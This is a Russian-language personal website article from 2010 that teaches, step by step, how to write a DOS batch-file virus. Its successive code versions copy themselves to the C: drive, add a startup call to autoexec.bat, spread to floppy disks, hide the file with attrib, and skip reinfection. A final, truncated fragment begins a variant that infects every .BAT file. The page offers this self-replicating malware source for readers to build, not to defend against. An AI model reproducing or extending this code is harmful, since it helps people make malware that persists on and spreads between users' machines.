Меню сайта |
|
 |
Категории раздела |
|
 |
Наш опрос |
|
 |
Статистика |
Онлайн всего: 1 Гостей: 1 Пользователей: 0 |
 |
Форма входа |
|
 |
|
Bat.
BAT-вирус
@Echo off copy %0 c:virus.bat >nul echo c:virus.bat>>c:autoexec.bat
Этот вирус заражает винчестер, оставляя только один файл virus.bat. Но все-таки я бы не сказал что это полноценный вирус, т.к. он лишен возможности заражать другие компьютеры. Чтобы этот BAT-вирус обрел более четкие очертания дополним его возможностью заражать другие ПК:
@Echo off copy %0 c:virus.bat >nul echo c:virus.bat>>c:autoexec.bat copy %0 a:run.bat >nul
В этом примере появляется строка, которая дает возможность вирусу заражать дискеты. Смысл этого в том что если при перезагрузке ПК в дисководе будет дискета, то она будет заражена.
Конечно файл virus.bat в корневом диске C: будет сильно мозолить глаза юзеру, чтобы этого не было существует программа attrib. Преобразуем вирус:
@Echo off copy %0 c:virus.bat >nul attrib +h c:virus.bat >nul echo c:virus.bat>>c:autoexec.bat copy %0 a:run.bat >nul
Если вы внимательны, то вы уже поняли, что вызов файла virus.bat в autoexec.bat будет записываться каждый раз при перезагрузке ПК. Чтобы этого не произошло есть простой способ: после записи вызова надо с помощью программы attrib установить атрибут только чтение у autoexec.bat. А есть другой вариант, он немного посложнее, но гораздо грамотнее:
@Echo off if exist c:virus.bat goto cool copy %0 c:virus.bat >nul attrib +h c:virus.bat >nul echo c:virus.bat>>c:autoexec.bat :cool copy %0 a:run.bat >nul
Здесь вторая строка проверяет существует ли уже файл c:virus.bat и если он уже существует, то происходит переход к метке cool. Этот способ тоже очень прост. Явный недостаток - если юзер уберет вызов из autoexec.bat, а файл virus.bat оставит, то глупый вирус будет нагло обманут. Чтобы вирус был умнее, то надо использовать программу find, если вам будет не лень с ней разбираться, то вы сможете написать более сложный BAT-вирус, который будет заражать не один файл c:autoexec.bat, а все *.BAT. Пример:
@echo off%[MeTrA]% if '%1=='In_ goto MeTrAin if exist c:MeTrA.bat goto MeTrAru if not exist %0 goto MeTrAen find "MeTrA"
|
Категория: Мои статьи | Добавил: krava001 (05.06.2010)
|
Просмотров: 968
| Рейтинг: 0.0/0 |
|
Поиск |
|
 |
|